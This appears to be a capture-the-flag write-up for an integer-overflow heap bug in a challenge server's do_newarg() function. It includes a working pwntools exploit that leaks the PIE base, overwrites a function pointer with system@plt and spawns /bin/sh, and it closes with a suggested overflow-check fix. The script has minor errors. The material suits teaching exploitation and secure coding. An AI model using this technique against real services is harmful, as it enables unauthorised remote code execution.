Analysis of the bug =================== The `do_newarg()` function contains an integer overflow bug: a sufficiently large positive `num` will overflow the multiplication, producing a very small `size` (maybe even zero). This will lead to a situation where the program thinks it has allocated a very large number of `ArgObj` objects on the heap, but it has actually allocated just a few bytes. Attack plan =========== One possible attack is the following: 1. overlap one `ArgObj` object to any `ExecObj`, then read it to reveal the address of the run function, thus defeating PIE; 2. overwrite the ExecObj's run funtion with the PLT entry of `system`; 3. run the overwritten ExecObj with an argument containing `/bin/sh`. Attack implementation ===================== The following script will drop a shell from the remote server, except for the very unlucky case of null bytes in the random ASLR bits. ```py import int from pwn import * io = remote(HOST, PORT) exe = context.binary = ELF('./server') # skip the header io.recvline() # exploit the overflow: se create an array object with 2^60 elements. # When multiplied by sizeof(*obj)==16 this will overflow to 0. # Recall that malloc(0) is allowed: it will allocate a minimally sized # object. The server, however, now thinks that is has allocated very # large array. io.sendline(b'oa' + str(2**60).encode()) # skip the reply io.recvline() # now we create an executable object adjacent to the above array. # The array will overlap the memory allocated to this new object. io.sendline(b'oeg0') # skip the reply io.recvline() # The heap is now as follows: # # heap # # +---------+ # objects | header | fake index: # +---------+ +---------+---------+ # | o----+------->|/////////|/////////| 0 # 0 { +---------+ +---------+---------+ # | 2**60 | |/////////| header | 1 # +---------+ +---------+----+----+ # | o----+------->| run | pos| idx| 2 # 1 { +---------+ +---------+----+----+ # | | # # We can see that the argument in position 0,2 overlaps objects[1]. # By reading the fake argument we can thus read objects[1]'s run pointer: io.sendline(b'r0,2') r = io.recvline().strip() # note that it may be less than 8 bytes, since the server prints it as a string, # i.e., stopping at the first null byte ExecObj_Grep_run = u64(r.ljust(8, b'\x00')) # now we can set the PIE base exe.address = ExecObj_Grep_run - exe.symbols.ExecObj_Grep_run # Now we can overwrite the run function of the exec object with the PLT entry of # system. Note: we go through the PLT, since it is part of the executable; if, # instead, we tried to jump directly to system's entry, we would need to know the # base address of the glibc. # since we have set exe.adress, pwnlib will give us absolute addresses system_plt = exe.plt.system io.sendline(b'a0,2=' + p64(system_plt) # The above command will also overwrite arg_pos and arg_idx, due to the # strncpy() call in the server. Therefore, the overwritten exec object # will take its argument from position 0,0. This is were we need to # put our '/bin/sh' argument: io.sendline(b'a0,0=/bin/sh') # Finally, we run the overwritten exec object and obtain a shell io.sendline(b'r1') io.interactive() ``` The flag is in the `secret` file. Suggested fix ============= Proably the best fix is to select a reasonable maximum value for the number of array elements. [Thanks to G. Dell'Immagine for finding a bug in the previous fix.] Checking for overflow while multiplying `num` and `sizeof(obj)` is quite hard. We should either try to do the multiplication in a larger integer type, if available, or use CPU-specific instructions. The latter option can be implemented in gcc using "intrinsics": ``` if (__builtin_mul_overflow(num, sizeof(obj), &size)) { fprintf(stderr, "overflow\n"); return; } // now it's safe to do the multiplication size = num * sizeof(obj); ```